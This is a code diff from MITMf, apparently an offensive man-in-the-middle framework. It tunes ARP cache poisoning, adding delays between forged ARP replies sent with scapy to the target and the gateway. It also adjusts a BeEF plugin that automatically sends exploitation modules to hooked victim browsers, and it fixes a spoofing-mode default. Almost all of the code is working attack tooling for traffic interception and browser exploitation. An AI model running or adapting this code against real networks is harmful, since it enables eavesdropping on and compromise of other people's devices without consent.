diff --git a/core/protocols/arp/ARPpoisoner.py b/core/protocols/arp/ARPpoisoner.py
index 4b8858c..4e4ee55 100644
--- a/core/protocols/arp/ARPpoisoner.py
+++ b/core/protocols/arp/ARPpoisoner.py
@@ -14,7 +14,6 @@ class ARPpoisoner():
         self.gatewaymac = getmacbyip(gateway)
         self.mymac      = mac
         self.targets    = self.getTargetRange(targets)
-        self.targetmac  = None
         self.interface  = interface
         self.arpmode    = 'rep'
         self.debug      = False
@@ -48,7 +47,6 @@ class ARPpoisoner():
         mitmf_logger.debug("[ARPpoisoner] gatewayip  => {}".format(self.gatewayip))
         mitmf_logger.debug("[ARPpoisoner] gatewaymac => {}".format(self.gatewaymac))
         mitmf_logger.debug("[ARPpoisoner] targets    => {}".format(self.targets))
-        mitmf_logger.debug("[ARPpoisoner] targetmac  => {}".format(self.targetmac))
         mitmf_logger.debug("[ARPpoisoner] mymac      => {}".format(self.mymac))
         mitmf_logger.debug("[ARPpoisoner] interface  => {}".format(self.interface))
         mitmf_logger.debug("[ARPpoisoner] arpmode    => {}".format(self.arpmode))
@@ -92,6 +90,7 @@ class ARPpoisoner():
 
                         elif targetmac:
                             send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug)
+                            sleep(0.3)
                             send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug)
 
                     except Exception, e:
@@ -117,6 +116,7 @@ class ARPpoisoner():
 
                         elif targetmac:
                             send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug)
+                            sleep(0.3)
                             send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug)
 
                     except Exception, e:
@@ -142,6 +142,7 @@ class ARPpoisoner():
                     mitmf_logger.info("[ARPpoisoner] Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count))
 
                     send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug)
+                    sleep(0.3)
                     send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug)
 
             except Exception, e:
diff --git a/plugins/BeefAutorun.py b/plugins/BeefAutorun.py
index 6847217..c77fcb9 100644
--- a/plugins/BeefAutorun.py
+++ b/plugins/BeefAutorun.py
@@ -106,20 +106,21 @@ class BeefAutorun(Inject, Plugin):
 					mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id))
 				sleep(0.5)
 
-		mitmf_logger.info("{} >> sending targeted modules".format(session_ip))
 		for os in targeted_modules:
-			if (os in hook_os) or (os == hook_os):
-				browsers = targeted_modules[os]
-				if len(browsers) > 0:
-					for browser in browsers:
-						if browser == hook_browser:
-							modules = targeted_modules[os][browser]
-							if len(modules) > 0:
-								for module, options in modules.iteritems():
-									mod_id = self.beef.module_id(module)
-									resp = self.beef.module_run(session, mod_id, json.loads(options))
-									if resp["success"] == 'true':
-										mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id))
-									else:
-										mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id))
-									sleep(0.5)
+			if (hook_browser is not None) and (hook_os is not None):
+				mitmf_logger.info("{} >> sending targeted modules".format(session_ip))
+				if (os in hook_os) or (os == hook_os):
+					browsers = targeted_modules[os]
+					if len(browsers) > 0:
+						for browser in browsers:
+							if browser == hook_browser:
+								modules = targeted_modules[os][browser]
+								if len(modules) > 0:
+									for module, options in modules.iteritems():
+										mod_id = self.beef.module_id(module)
+										resp = self.beef.module_run(session, mod_id, json.loads(options))
+										if resp["success"] == 'true':
+											mitmf_logger.info('{} >> sent module {}'.format(session_ip, mod_id))
+										else:
+											mitmf_logger.info('{} >> ERROR sending module {}'.format(session_ip, mod_id))
+										sleep(0.5)
diff --git a/plugins/Spoof.py b/plugins/Spoof.py
index b35b2ef..52d9e74 100644
--- a/plugins/Spoof.py
+++ b/plugins/Spoof.py
@@ -40,7 +40,7 @@ class Spoof(Plugin):
         self.dnscfg            = self.config['MITMf']['DNS']
         self.dhcpcfg           = self.config['Spoof']['DHCP']
         self.targets           = options.targets
-        self.arpmode           = 'rep' or options.arpmode
+        self.arpmode           = options.arpmode or 'rep'
         self.manualiptables    = options.manualiptables
         self.mymac             = SystemConfig.getMAC(options.interface)
         self.myip              = SystemConfig.getIP(options.interface)